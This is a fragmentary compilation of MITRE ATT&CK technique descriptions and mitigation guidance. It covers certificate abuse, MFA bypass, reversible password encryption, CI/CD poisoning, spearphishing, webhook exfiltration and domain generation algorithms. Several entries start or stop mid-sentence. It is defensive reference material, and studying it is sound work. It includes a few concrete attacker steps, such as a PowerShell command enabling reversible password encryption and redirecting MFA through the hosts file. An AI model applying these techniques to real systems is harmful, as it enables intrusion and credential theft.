appropriate enrollment rights, users and/or machines within a domain can also request and/or manually renew certificates from enterprise certificate authorities (CA). This enrollment process defines various settings and permissions associated with the certificate. Of note, the certificate’s extended key usage (EKU) values define signing, encryption, and authentication use cases, while the certificate’s subject alternative name (SAN) values define the certificate owner’s alternate names.\n\nAbusing certificates for authentication credentials may enable other behaviors such as Lateral Movement. Certificate-related misconfigurations may also enable opportunities for Privilege Escalation, by way of allowing users to impersonate or assume privileged accounts or permissions via the identities (SANs) associated with a certificate. These abuses may also enable Persistence via stealing or forging certificates that can be used as Valid Accounts for the duration of the certificate's validity, despite user password resets. Authentication certificates can also be stolen and forged for machine accounts.\n\nAdversaries who have access to root (or subordinate) CA certificate private keys (or mechanisms protecting/managing these keys) may also establish Persistence by forging arbitrary authentication certificates for the victim domain (known as “golden” certificates). Adversaries may also target certificates and related services in order to access other forms of credentials, such as Golden Ticket ticket-granting tickets (TGT) or NTLM plaintext. […]\n\n## Reference: ATT&CK T1650 Acquire Access\n**ATT&CK T1650 Acquire Access (full record).** Adversaries may purchase or otherwise acquire an existing access to a target system or network. A variety of online services and initial access broker networks are available to sell access to previously compromised systems. In some cases, adversary groups may form partnerships to share compromised systems with each other.\n\nFootholds to compromised systems may take a variety of forms, such as access to planted backdoors (e.g., Web Shell) or established access via External Remote Services. In some cases, access brokers will implant compromised systems with a “load” that can be used to install additional malware for paying customers.\n\nBy leveraging existing access broker networks rather than developing or obtaining their own initial access capabilities, an adversary can potentially reduce the resources required to gain a foothold on a target network and focus their efforts on later stages of compromise. Adversaries may prioritize acquiring access to systems that have been determined to lack security monitoring or that have high privileges, or systems that belong to organizations in a particular sector.\n\nIn some cases, purchasing access to an organization in sectors such as IT contracting, software development, or telecommunications may allow an adversary to compromise additional victims via a Trusted Relationship, Multi-Factor Authentication Interception, or even Supply Chain Compromise.\n\n**Note:** while this technique is distinct from other behaviors such as Purchase Technical Data and Credentials, they may often be used in conjunction (especially where the acquired foothold requires Valid Accounts).\n\n**Classification.** - Tactics: resource-development\n- Platforms: PRE\n\n**Mitigations.** - **Pre-compromise**: Pre-compromise mitigations involve proactive measures and defenses implemented to prevent adversaries from successfully identifying and exploiting weaknesses during the Reconnaissance and Resource Development phases of an attack. These activities focus on reducing an organization's attack surface, identify adversarial preparation efforts, and increase the difficulty for attackers to conduct successful operations. This mitigation can be implemented through the following measures:\n\n**Detection strategies and analytics.** - **Detection of Acquire Access**\n  - Much of this takes place outside the visibility of the target organization, making detection difficult for defenders.\n\nDetection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.

Compromised systems may leverage popular websites and social media to host command and control (C2) instructions. Those infected systems may opt to send the output from those commands back over a different C2 channel, including to another distinct Web service. Alternatively, compromised systems may return no output at all in cases where adversaries want to send instructions to systems and do not want a response.\n\nPopular websites and social media acting as a mechanism for C2 may give a significant amount of cover due to the likelihood that hosts within a network are already communicating with them prior to a compromise.

Use of multiple stages may obfuscate the command and control channel to make detection more difficult.\n\nRemote access tools will call back to the first-stage command and control server for instructions. The first stage may have automated capabilities to collect basic host information, update tools, and upload additional files. A second remote access tool (RAT) could be uploaded at that point to redirect the host to the second-stage command and control server. The second stage will likely be more fully featured and allow the adversary to interact with the system through a reverse shell and additional RAT features.\n\nThe different stages will likely be hosted separately with no overlapping infrastructure.

Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes. These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.\n\nAdversaries may abuse these OS API functions as a means of executing behaviors. Similar to Command and Scripting Interpreter, the native API and its hierarchy of interfaces provide mechanisms to interact with and utilize various components of a victimized system.\n\nNative API functions (such as `NtCreateProcess`) may be directed invoked via system calls / syscalls, but these features are also often exposed to user-mode applications via interfaces and libraries. For example, functions such as the Windows API `CreateProcess` or GNU `fork` will allow programs and scripts to start other processes. This may allow API callers to execute a binary, run a CLI command, load modules, etc. as thousands of similar API functions exist for various system operations.\n\nHigher level software frameworks, such as Microsoft.NET and macOS Cocoa, are also available to interact with native APIs. These frameworks typically provide language wrappers/abstractions to API functionalities and are designed for ease-of-use/portability of code.\n\nAdversaries may use assembly to directly or in-directly invoke syscalls in an attempt to subvert defensive sensors and detection signatures such as user mode API-hooks. Adversaries may also attempt to tamper with sensors and defensive tools associated with API monitoring, such as unhooking monitored functions via Disable or Modify Tools.\n\n**Classification.** - Tactics: execution\n- Platforms: Linux, macOS, Windows\n\n**Mitigations.** - **Execution Prevention**: Prevent the execution of unauthorized or malicious code on systems by implementing application control, script blocking, and other execution prevention mechanisms.

The `AllowReversiblePasswordEncryption` property specifies whether reversible password encryption for an account is enabled or disabled. By default this property is disabled (instead storing user credentials as the output of one-way hashing functions) and should not be enabled unless legacy or other software require it.\n\nIf the property is enabled and/or a user changes their password after it is enabled, an adversary may be able to obtain the plaintext of passwords created/changed after the property was enabled. To decrypt the passwords, an adversary needs four components:\n\n1. Encrypted password (`G$RADIUSCHAP`) from the Active Directory user-structure `userParameters`\n2. 16 byte randomly-generated value (`G$RADIUSCHAPKEY`) also from `userParameters`\n3. Global LSA secret (`G$MSRADIUSCHAPKEY`)\n4. Static key hardcoded in the Remote Access Subauthentication DLL (`RASSFM.DLL`)\n\nWith this information, an adversary may be able to reproduce the encryption key and subsequently decrypt the encrypted password value.\n\nAn adversary may set this property at various scopes through Local Group Policy Editor, user properties, Fine-Grained Password Policy (FGPP), or via the ActiveDirectory PowerShell module. For example, an adversary may implement and apply a FGPP to users or groups if the Domain Functional Level is set to \"Windows Server 2008\" or higher. In PowerShell, an adversary may make associated changes to user settings using commands similar to `Set-ADUser -AllowReversiblePasswordEncryption $true`.\n\n**Classification.** - Tactics: defense-impairment, persistence, credential-access\n- Platforms: Windows\n- Sub-technique of: T1556 Modify Authentication Process - Adversaries may modify authentication mechanisms and processes to access user credentials or enable otherwise unwarranted access to accounts.\n\n**Mitigations.** - **Privileged Account Management**: Privileged Account Management focuses on implementing policies, controls, and tools to securely manage privileged accounts (e.g., SYSTEM, root, or administrative accounts).

This can be accomplished by abusing legitimate features, such as excluding users from Azure AD Conditional Access Policies, registering a new yet vulnerable/adversary-controlled MFA method, or by manually patching MFA programs and configuration files to bypass expected functionality.\n\nFor example, modifying the Windows hosts file (`C:\\windows\\system32\\drivers\\etc\\hosts`) to redirect MFA calls to localhost instead of an MFA server may cause the MFA process to fail. If a \"fail open\" policy is in place, any otherwise successful authentication attempt may be granted access without enforcing MFA.\n\nDepending on the scope, goals, and privileges of the adversary, MFA defenses may be disabled for individual accounts or for all accounts tied to a larger group, such as all domain accounts in a victim's network environment.\n\n**Classification.** - Tactics: defense-impairment, persistence, credential-access\n- Platforms: IaaS, Identity Provider, Linux, macOS, Office Suite, SaaS, Windows\n- Sub-technique of: T1556 Modify Authentication Process - Adversaries may modify authentication mechanisms and processes to access user credentials or enable otherwise unwarranted access to accounts.\n\n**Mitigations.** - **User Account Management**: User Account Management involves implementing and enforcing policies for the lifecycle of user accounts, including creation, modification, and deactivation.

Hierarchical structures differ among cloud providers. For example, in AWS environments, multiple accounts can be grouped under a single organization, while in Azure environments, multiple subscriptions can be grouped under a single management group.\n\nAdversaries may add, delete, or otherwise modify resource groups within an IaaS hierarchy. For example, in Azure environments, an adversary who has gained access to a Global Administrator account may create new subscriptions in which to deploy resources. They may also engage in subscription hijacking by transferring an existing pay-as-you-go subscription from a victim tenant to an adversary-controlled tenant. This will allow the adversary to use the victim’s compute resources without generating logs on the victim tenant.\n\nIn AWS environments, adversaries with appropriate permissions in a given account may call the `LeaveOrganization` API, causing the account to be severed from the AWS Organization to which it was tied and removing any Service Control Policies, guardrails, or restrictions imposed upon it by its former Organization. Alternatively, adversaries may call the `CreateAccount` API in order to create a new account within an AWS Organization.

VNC is a platform-independent desktop sharing system that uses the RFB (“remote framebuffer”) protocol to enable users to remotely control another computer’s display by relaying the screen, mouse, and keyboard inputs over the network.\n\nVNC differs from Remote Desktop Protocol as VNC is screen-sharing software rather than resource-sharing software. By default, VNC uses the system's authentication, but it can be configured to use credentials specific to VNC.\n\nAdversaries may abuse VNC to perform malicious actions as the logged-on user such as opening documents, downloading files, and running arbitrary commands. An adversary could use VNC to remotely control and monitor a system to collect data and information to pivot to other systems within the network. Specific VNC libraries/implementations have also been susceptible to brute force attacks and memory usage exploitation.\n\n**Classification.** - Tactics: lateral-movement\n- Platforms: Linux, Windows, macOS\n- Sub-technique of: T1021 Remote Services - Adversaries may use Valid Accounts to log into a service that accepts remote connections, such as telnet, SSH, and VNC.

Operating modes dictate what change or maintenance functions can be manipulated and are often controlled by a key switch on the PLC (e.g., run, prog [program], and remote). Knowledge of these states may be valuable to an adversary to determine if they are able to reprogram the PLC. Operating modes and the mechanisms by which they are selected often vary by vendor and product line. Some commonly implemented operating modes are described below:\n\n* Program - This mode must be enabled before changes can be made to a devices program. This allows program uploads and downloads between the device and an engineering workstation. Often the PLCs logic Is halted, and all outputs may be forced off.\n* Run - Execution of the devices program occurs in this mode. Input and output (values, points, tags, elements, etc.) are monitored and used according to the programs logic.Program Upload and Program Download are disabled while in this mode.\n* Remote - Allows for remote changes to a PLCs operation mode.\n* Stop - The PLC and program is stopped, while in this mode, outputs are forced off.\n* Reset - Conditions on the PLC are reset to their original states. Warm resets may retain some memory while cold resets will reset all I/O and data registers.\n* Test / Monitor mode - Similar to run mode, I/O is processed, although this mode allows for monitoring, force set, resets, and more generally tuning or debugging of the system. Often monitor mode may be used as a trial for initialization.\n\n**Classification.** - Tactics: collection\n- Platforms: Embedded\n\n**Mitigations.** - **Software Process and Device Authentication**: Require the authentication of devices and software processes where appropriate.

This includes restricting access, limiting the scope of permissions, monitoring privileged account usage, and ensuring accountability through logging and auditing.This mitigation can be implemented through the following measures:\n\nAccount Permissions and Roles:\n\n- Implement RBAC and least privilege principles to allocate permissions securely.\n- Use tools like Active Directory Group Policies to enforce access restrictions.\n\nCredential Security:\n\n- Deploy password vaulting tools like CyberArk, HashiCorp Vault, or KeePass for secure storage and rotation of credentials.\n- Enforce password policies for complexity, uniqueness, and expiration using tools like Microsoft Group Policy Objects (GPO).\n\nMulti-Factor Authentication (MFA):\n\n- Enforce MFA for all privileged accounts using Duo Security, Okta, or Microsoft Azure AD MFA.\n\nPrivileged Access Management (PAM):\n\n- Use PAM solutions like CyberArk, BeyondTrust, or Thycotic to manage, monitor, and audit privileged access.\n\nAuditing and Monitoring:\n\n- Integrate activity monitoring into your SIEM (e.g., Splunk or QRadar) to detect and alert on anomalous privileged account usage.\n\nJust-In-Time Access:\n\n- Deploy JIT solutions like Azure Privileged Identity Management (PIM) or configure ephemeral roles in AWS and GCP to grant time-limited elevated permissions.\n\n*Tools for Implementation*\n\nPrivileged Access Management (PAM):\n\n- CyberArk, BeyondTrust, Thycotic, HashiCorp Vault.\n\nCredential Management:\n\n- Microsoft LAPS (Local Admin Password Solution), Password Safe, HashiCorp Vault, KeePass.\n\nMulti-Factor Authentication:\n\n- Duo Security, Okta, Microsoft Azure MFA, Google Authenticator.\n\nLinux Privilege Management:\n\n- sudo configuration, SELinux, AppArmor.\n\nJust-In-Time Access:\n\n- Azure Privileged Identity Management (PIM), AWS IAM Roles with session constraints, GCP Identity-Aware Proxy.\n\n## Multi-factor Authentication\nMulti-Factor Authentication (MFA) enhances security by requiring users to provide at least two forms of verification to prove their identity before granting access. These factors typically include:\n\n- *Something you know*: Passwords, PINs.\n- *Something you have*: Physical tokens, smartphone authenticator apps.\n- *Something you are*: Biometric data such as fingerprints, facial recognition, or retinal scans.\n\nImplementing MFA across all critical systems and services ensures robust protection against account takeover and unauthorized access. This mitigation can be implemented through the following measures:\n\nIdentity and Access Management (IAM):\n\n- Use IAM solutions like Azure Active Directory, Okta, or AWS IAM to enforce MFA policies for all user logins, especially for privileged roles.\n- Enable conditional access policies to enforce MFA for risky sign-ins (e.g., unfamiliar devices, geolocations).\n- Enable Conditional Access policies to only allow logins from trusted devices, such as those enrolled in Intune or joined via Hybrid/Entra.\n\nAuthentication Tools and Methods:\n\n- Use authenticator applications such as Google Authenticator, Microsoft Authenticator, or Authy for time-based one-time passwords (TOTP).\n- Deploy hardware-based tokens like YubiKey, RSA SecurID, or smart cards for additional security.\n- Enforce biometric authentication for compatible devices and applications.\n\nSecure Legacy Systems:\n\n- Integrate MFA solutions with older systems using third-party tools like Duo Security or Thales SafeNet.\n- Enable RADIUS/NPS servers to facilitate MFA for VPNs, RDP, and other network logins.\n\nMonitoring and Alerting:\n\n- Use SIEM tools to monitor failed MFA attempts, login anomalies, or brute-force attempts against MFA systems.\n- Implement alerts for suspicious MFA activities, such as repeated failed codes or new device registrations.\n\nTraining and Policy Enforcement:\n\n- Educate employees on the importance of MFA and secure authenticator usage.\n- Enforce policies that require MFA on all critical systems, especially for remote access, privileged accounts, and cloud applications.\n\n## Disable or Remove Feature or Program\nDisable or remove unnecessary and potentially vulnerable software, features, or services to reduce the attack surface and prevent abuse by adversaries. This involves identifying software or features that are no longer needed or that could be exploited and ensuring they are either removed or properly disabled. This mitigation can be implemented through the following measures:\n\nRemove Legacy Software:\n\n- Use Case: Disable or remove older versions of software that no longer receive updates or security patches (e.g., legacy Java, Adobe Flash).\n- Implementation: A company removes Flash Player from all employee systems after it has reached its end-of-life date.\n\nDisable Unused Features:\n\n- Use Case: Turn off unnecessary operating system features like SMBv1, Telnet, or RDP if they are not required.\n- Implementation: Disable SMBv1 in a Windows environment to mitigate vulnerabilities like EternalBlue.\n\nControl Applications Installed by Users:\n\n- Use Case: Prevent users from installing unauthorized software via group policies or other management tools.\n- Implementation: Block user installations of unauthorized file-sharing applications (e.g., BitTorrent clients) in an enterprise environment.\n\nRemove Unnecessary Services:\n\n- Use Case: Identify and disable unnecessary default services running on endpoints, servers, or network devices.\n- Implementation: Disable unused administrative shares (e.g., C$, ADMIN$) on workstations.\n\nRestrict Add-ons and Plugins:\n\n- Use Case: Remove or disable browser plugins and add-ons that are not needed for business purposes.\n- Implementation: Disable Java and ActiveX plugins in web browsers to prevent drive-by attacks.\n\n## Principle\nAgainst T1098.002, prefer preventive controls that remove the preconditions over purely detective controls, and layer the two.\n\n## Reference: ATT&CK T1601.001 Patch System Image\n**ATT&CK T1601.001 Patch System Image (full record).** Adversaries may modify the operating system of a network device to introduce new capabilities or weaken existing defenses. Some network devices are built with a monolithic architecture, where the entire operating system and most of the functionality of the device is contained within a single file. Adversaries may change this file in storage, to be loaded in a future boot, or in memory during runtime.\n\nTo change the operating system in storage, the adversary will typically use the standard procedures available to device operators. This may involve downloading a new file via typical protocols used on network devices, such as TFTP, FTP, SCP, or a console connection. The original file may be overwritten, or a new file may be written alongside of it and the device reconfigured to boot to the compromised image.\n\nTo change the operating system in memory, the adversary typically can use one of two methods. In the first, the adversary would make use of native debug commands in the original, unaltered running operating system that allow them to directly modify the relevant memory addresses containing the running operating system. This method typically requires administrative level access to the device.\n\nIn the second method for changing the operating system in memory, the adversary would make use of the boot loader. The boot loader is the first piece of software that loads when the device starts that, in turn, will launch the operating system. Adversaries may use malicious code previously implanted in the boot loader, such as through the ROMMONkit method, to directly manipulate running operating system code in memory. This malicious code in the bootloader provides the capability of direct memory manipulation to the adversary, allowing them to patch the live operating system during runtime.\n\nBy modifying the instructions stored in the system image file, adversaries may either weaken existing defenses or provision new capabilities that the device did not have before. Examples of existing defenses that can be impeded include encryption, via Weaken Encryption, authentication, via Network Device Authentication, and perimeter defenses, via Network Boundary Bridging. Adding new capabilities for the adversary’s purpose include Keylogging, Multi-hop Proxy, and Port Knocking. […]\n\n## Reference: ATT&CK T1601.002 Downgrade System Image\n**ATT&CK T1601.002 Downgrade System Image (full record).** Adversaries may install an older version of the operating system of a network device to weaken security. Older operating system versions on network devices often have weaker encryption ciphers and, in general, fewer/less updated defensive features.\n\nOn embedded devices, downgrading the version typically only requires replacing the operating system file in storage. With most embedded devices, this can be achieved by downloading a copy of the desired version of the operating system file and reconfiguring the device to boot from that file on next system restart. The adversary could then restart the device to implement the change immediately or they could wait until the next time the system restarts.\n\nDowngrading the system image to an older versions may allow an adversary to evade defenses by enabling behaviors such as Weaken Encryption. Downgrading of a system image can be done on its own, or it can be used in conjunction with Patch System Image.\n\n**Classification.** - Tactics: defense-impairment\n- Platforms: Network Devices\n- Sub-technique of: T1601 Modify System Image - Adversaries may make changes to the operating system of embedded network devices to weaken defenses and provide new capabilities for themselves. On such devices, the operating systems are typically monolithic and most of the device functionality and capabilities are contained within a single file.\n\n**Mitigations.** - **Multi-factor Authentication**: Multi-Factor Authentication (MFA) enhances security by requiring users to provide at least two forms of verification to prove their identity before granting access. These factors typically include:\n- **Code Signing**: Code Signing is a security process that ensures the authenticity and integrity of software by digitally signing executables, scripts, and other code artifacts. It prevents untrusted or malicious code from executing by verifying the digital signatures against trusted sources. Code signing protects against tampering, impersonation, and distribution of unauthorized or malicious software, forming a critical defense against supply chain and software exploitation attacks.\n- **Credential Access Protection**: Credential Access Protection focuses on implementing measures to prevent adversaries from obtaining credentials, such as passwords, hashes, tokens, or keys, that could be used for unauthorized access.

Video or image files may be written to disk and exfiltrated later. This technique differs from Screen Capture due to use of the device’s cameras for video recording rather than capturing the victim’s screen.\n\nIn Android, an application must hold the `android.permission.CAMERA` permission to access the cameras. In iOS, applications must include the `NSCameraUsageDescription` key in the `Info.plist` file. In both cases, the user must grant permission to the requesting application to use the camera.

In Google Workspace, delegation can be enabled via the Google Admin console and users can delegate accounts via their Gmail settings.\n\nAdversaries may also assign mailbox folder permissions through individual folder permissions or roles. In Office 365 environments, adversaries may assign the Default or Anonymous user permissions or roles to the Top of Information Store (root), Inbox, or other mailbox folders. By assigning one or both user permissions to a folder, the adversary can utilize any other account in the tenant to maintain persistence to the target user’s mail folders.\n\nThis may be used in persistent threat incidents as well as BEC (Business Email Compromise) incidents where an adversary can add Additional Cloud Roles to the accounts they wish to compromise. This may further enable use of additional techniques for gaining access to systems. For example, compromised business accounts are often used to send messages to other accounts in the network of the target business while creating inbox rules (ex: Internal Spearphishing), so the messages evade spam/phishing detection mechanisms.\n\n## Reference: ATT&CK T1676 Linked Devices\n**ATT&CK T1676 Linked Devices (full record).** Adversaries may abuse the “linked devices” feature on messaging applications, such as Signal and WhatsApp, to register the user’s account to an adversary-controlled device. By abusing the “linked devices” feature, adversaries may achieve and maintain persistence through the user’s account, may collect information, such as the user’s messages and contacts list, and may send future messages from the linked device.\n\nSignal is a messaging application that uses the open-source Signal Protocol to encrypt messages and calls; similarly, WhatsApp is a messaging application that has end-to-end encryption and other security measures to protect messages and calls. Both applications have a “linked devices” feature that allows users to access their Signal and/or WhatsApp accounts from different devices, such as a Windows or Mac desktop, an iPad or an Android tablet.\n\nAdversaries may use Phishing techniques to trick the user into scanning a quick-response (QR) code, which is used to link the user’s Signal and/or WhatsApp account to an adversary-controlled device. For example, adversaries may masquerade QR codes as group invites, security alerts or as legitimate instructions for pairing linked devices.\nUpon scanning the QR code in Signal, users may click on the “Transfer Message History” option to sync the linked devices, which may allow adversaries to collect more information about the user. Upon scanning the QR code in WhatsApp, the user’s device will automatically send an end-to-end encrypted copy of recent message history to the adversary-controlled device.\n\n**Classification.** - Tactics: collection, persistence\n- Platforms: Android, iOS\n\n**Mitigations.** - **User Guidance**: Describes any guidance or training given to users to set particular configuration settings or avoid specific potentially risky behaviors.\n\n**Detection strategies and analytics.** - **Detection of Linked Devices**\n  - For Android, detect Linked Devices by correlating analyst-visible device/network evidence and management state; use streaming or batched telemetry only where the documented collector is deployed.

There are several mechanisms for poisoning pipelines:\n\n* In a <b>Direct Pipeline Execution</b> scenario, the threat actor directly modifies the CI configuration file (e.g., `gitlab-ci.yml` in GitLab). They may include a command to exfiltrate credentials leveraged in the build process to a remote server, or to export them as a workflow artifact.\n* In an <b>Indirect Pipeline Execution</b> scenario, the threat actor injects malicious code into files referenced by the CI configuration file. These may include makefiles, scripts, unit tests, and linters.\n* In a <b>Public Pipeline Execution</b> scenario, the threat actor does not have direct access to the repository but instead creates a malicious pull request from a fork that triggers a part of the CI/CD pipeline. For example, in GitHub Actions, the `pull_request_target` trigger allows workflows running from forked repositories to access secrets. If this trigger is combined with an explicit pull request checkout and a location for a threat actor to insert malicious code (e.g., an `npm build` command), a threat actor may be able to leak pipeline credentials. Similarly, threat actors may craft pull requests with malicious inputs (such as branch names) if the build pipeline treats those inputs as trusted. Finally, if a pipeline leverages a self-hosted runner, a threat actor may be able to execute arbitrary code on a host inside the organization’s network.\n\nBy poisoning CI/CD pipelines, threat actors may be able to gain access to credentials, laterally move to additional hosts, or input malicious components to be shipped further down the pipeline (i.e., Supply Chain Compromise).\n\n**Classification.** - Tactics: execution\n- Platforms: SaaS\n\n**Mitigations.** - **User Account Management**: User Account Management involves implementing and enforcing policies for the lifecycle of user accounts, including creation, modification, and deactivation.

Adversaries may change their behavior when planning their future operations.\n\nAdversaries have been observed replacing atomic indicators mentioned in blog posts in under a week. Adversaries have also been seen searching for their own domain names in threat vendor data and then taking them down, likely to avoid seizure or further investigation.\n\nThis technique is distinct from Threat Intel Vendors in that it describes threat actors performing reconnaissance on their own activity, not in search of victim information.\n\n**Classification.** - Tactics: reconnaissance\n- Platforms: PRE\n\n**Mitigations.** - **Pre-compromise**: Pre-compromise mitigations involve proactive measures and defenses implemented to prevent adversaries from successfully identifying and exploiting weaknesses during the Reconnaissance and Resource Development phases of an attack.

Spearphishing with a link is a specific variant of spearphishing. It is different from other forms of spearphishing in that it employs the use of links to download malware contained in email, instead of attaching malicious files to the email itself, to avoid defenses that may inspect email attachments. Spearphishing may also involve social engineering techniques, such as posing as a trusted source.\n\nAll forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry. In this case, the malicious emails contain links. Generally, the links will be accompanied by social engineering text and require the user to actively click or copy and paste a URL into a browser, leveraging User Execution. The visited website may compromise the web browser using an exploit, or the user will be prompted to download applications, documents, zip files, or even executables depending on the pretext for the email in the first place.\n\nAdversaries may also include links that are intended to interact directly with an email reader, including embedded images intended to exploit the end system directly. Additionally, adversaries may use seemingly benign links that abuse special characters to mimic legitimate websites (known as an \"IDN homograph attack\"). URLs may also be obfuscated by taking advantage of quirks in the URL schema, such as the acceptance of integeror hexadecimal-based hostname formats and the automatic discarding of text before an “@” symbol: for example, `hxxp://google.com@1157586937`.\n\nAdversaries may also utilize links to perform consent phishing/spearphishing campaigns to Steal Application Access Tokens that grant immediate access to the victim environment. For example, a user may be lured into granting adversaries permissions/access via a malicious OAuth 2.0 request URL that when accepted by the user provide permissions/access for malicious applications. These stolen access tokens allow the adversary to perform various actions on behalf of the user via API calls. […]\n\n## Reference: ATT&CK T1566.003 Spearphishing via Service\n**ATT&CK T1566.003 Spearphishing via Service (full record).** Adversaries may send spearphishing messages via third-party services in an attempt to gain access to victim systems. Spearphishing via service is a specific variant of spearphishing. It is different from other forms of spearphishing in that it employs the use of third party services rather than directly via enterprise email channels.\n\nAll forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry. In this scenario, adversaries send messages through various social media services, personal webmail, and other non-enterprise controlled services. These services are more likely to have a less-strict security policy than an enterprise. As with most kinds of spearphishing, the goal is to generate rapport with the target or get the target's interest in some way. Adversaries will create fake social media accounts and message employees for potential job opportunities. Doing so allows a plausible reason for asking about services, policies, and software that's running in an environment. The adversary can then send malicious links or attachments through these services.\n\nA common example is to build rapport with a target via social media, then send content to a personal webmail service that the target uses on their work computer. This allows an adversary to bypass some email restrictions on the work account, and the target is more likely to open the file since it's something they were expecting. If the payload doesn't work as expected, the adversary can continue normal communications and troubleshoot with the target on how to get it working.\n\n**Classification.** - Tactics: initial-access\n- Platforms: Linux, macOS, Windows\n- Sub-technique of: T1566 Phishing - Adversaries may send phishing messages to gain access to victim systems.

Spearphishing voice is a specific variant of spearphishing. It is different from other forms of spearphishing in that it employs the use of manipulating a user into providing access to systems through a phone call or other forms of voice communications. Spearphishing frequently involves social engineering techniques, such as posing as a trusted source (ex: Impersonation) and/or creating a sense of urgency or alarm for the recipient.\n\nAll forms of phishing are electronically delivered social engineering. In this scenario, adversaries are not directly sending malware to a victim vice relying on User Execution for delivery and execution. For example, victims may receive phishing messages that instruct them to call a phone number where they are directed to visit a malicious URL, download malware, or install adversary-accessible remote management tools (Remote Access Tools) onto their computer.\n\nAdversaries may also combine voice phishing with Multi-Factor Authentication Request Generation in order to trick users into divulging MFA credentials or accepting authentication prompts.\n\n**Classification.** - Tactics: initial-access\n- Platforms: Linux, macOS, Windows, Identity Provider\n- Sub-technique of: T1566 Phishing - Adversaries may send phishing messages to gain access to victim systems.

Webhooks are simple mechanisms for allowing a server to push data over HTTP/S to a client without the need for the client to continuously poll the server. Many public and commercial services, such as Discord, Slack, and `webhook.site`, support the creation of webhook endpoints that can be used by other services, such as Github, Jira, or Trello. When changes happen in the linked services (such as pushing a repository update or modifying a ticket), these services will automatically post the data to the webhook endpoint for use by the consuming application.\n\nAdversaries may link an adversary-owned environment to a victim-owned SaaS service to achieve repeated Automated Exfiltration of emails, chat messages, and other data. Alternatively, instead of linking the webhook endpoint to a service, an adversary can manually post staged data directly to the URL in order to exfiltrate it.\n\nAccess to webhook endpoints is often over HTTPS, which gives the adversary an additional level of protection. Exfiltration leveraging webhooks can also blend in with normal network traffic if the webhook endpoint points to a commonly used SaaS application or collaboration service.\n\n**Classification.** - Tactics: exfiltration\n- Platforms: ESXi, Linux, macOS, Office Suite, SaaS, Windows\n- Sub-technique of: T1567 Exfiltration Over Web Service - Adversaries may use an existing, legitimate external Web service to exfiltrate data rather than their primary command and control channel.\n\n**Mitigations.** - **Data Loss Prevention**: Data Loss Prevention (DLP) involves implementing strategies and technologies to identify, categorize, monitor, and control the movement of sensitive data within an organization.

This may be achieved by using malware that shares a common algorithm with the infrastructure the adversary uses to receive the malware's communications. These calculations can be used to dynamically adjust parameters such as the domain name, IP address, or port number the malware uses for command and control.\n\nAdversaries may use dynamic resolution for the purpose of Fallback Channels. When contact is lost with the primary command and control server malware may employ dynamic resolution as a means to reestablishing command and control.\n\n**Classification.** - Tactics: command-and-control\n- Platforms: ESXi, Linux, macOS, Windows\n\n**Sub-techniques.** - T1568.001 Fast Flux DNS: Adversaries may use Fast Flux DNS to hide a command and control channel behind an array of rapidly changing IP addresses linked to a single domain resolution.\n- T1568.002 Domain Generation Algorithms: Adversaries may make use of Domain Generation Algorithms (DGAs) to dynamically identify a destination domain for command and control traffic rather than relying on a list of static IP addresses or dom.\n- T1568.003 DNS Calculation: Adversaries may perform calculations on addresses returned in DNS results to determine which port and IP address to use for command and control, rather than relying on a predetermined port number or t.\n\n**Mitigations.** - **Network Intrusion Prevention**: Use intrusion detection signatures to block traffic at network boundaries.\n- **Restrict Web-Based Content**: Restricting web-based content involves enforcing policies and technologies that limit access to potentially malicious websites, unsafe downloads, and unauthorized browser behaviors. This can include URL filtering, download restrictions, script blocking, and extension control to protect against exploitation, phishing, and malware delivery. This mitigation can be implemented through the following measures:\n\n**Detection strategies and analytics.** - **Detection Strategy for Dynamic Resolution across OS Platforms**\n  - Correlate high-frequency or anomalous DNS query activity with processes that do not normally generate network requests (e.g., Office apps, system utilities). […]\n\n## Reference: ATT&CK T1568.002 Domain Generation Algorithms\n**ATT&CK T1568.002 Domain Generation Algorithms (full record).** Adversaries may make use of Domain Generation Algorithms (DGAs) to dynamically identify a destination domain for command and control traffic rather than relying on a list of static IP addresses or domains. This has the advantage of making it much harder for defenders to block, track, or take over the command and control channel, as there potentially could be thousands of domains that malware can check for instructions.\n\nDGAs can take the form of apparently random or “gibberish” strings (ex: istgmxdejdnxuyla.ru) when they construct domain names by generating each letter. Alternatively, some DGAs employ whole words as the unit by concatenating words together instead of letters (ex: cityjulydish.net). Many DGAs are time-based, generating a different domain for each time period (hourly, daily, monthly, etc). Others incorporate a seed value as well to make predicting future domains more difficult for defenders.\n\nAdversaries may use DGAs for the purpose of Fallback Channels. When contact is lost with the primary command and control server malware may employ a DGA as a means to reestablishing command and control.\n\n**Classification.** - Tactics: command-and-control\n- Platforms: ESXi, Linux, macOS, Windows\n- Sub-technique of: T1568 Dynamic Resolution - Adversaries may dynamically establish connections to command and control infrastructure to evade common detections and remediations.

Launchctl interfaces with launchd, the service management framework for macOS.\n\n**Mitigations.** - **Privileged Account Management**: Privileged Account Management focuses on implementing policies, controls, and tools to securely manage privileged accounts (e.g., SYSTEM, root, or administrative accounts). This includes restricting access, limiting the scope of permissions, monitoring privileged account usage, and ensuring accountability through logging and auditing.This mitigation can be implemented through the following measures:\n- **User Account Management**: User Account Management involves implementing and enforcing policies for the lifecycle of user accounts, including creation, modification, and deactivation. Proper account management reduces the attack surface by limiting unauthorized access, managing account privileges, and ensuring accounts are used according to organizational policies. This mitigation can be implemented through the following measures:\n- **Behavior Prevention on Endpoint**: Behavior Prevention on Endpoint refers to the use of technologies and strategies to detect and block potentially malicious activities by analyzing the behavior of processes, files, API calls, and other endpoint events. Rather than relying solely on known signatures, this approach leverages heuristics, machine learning, and real-time monitoring to identify anomalous patterns indicative of an attack. […]"}]}

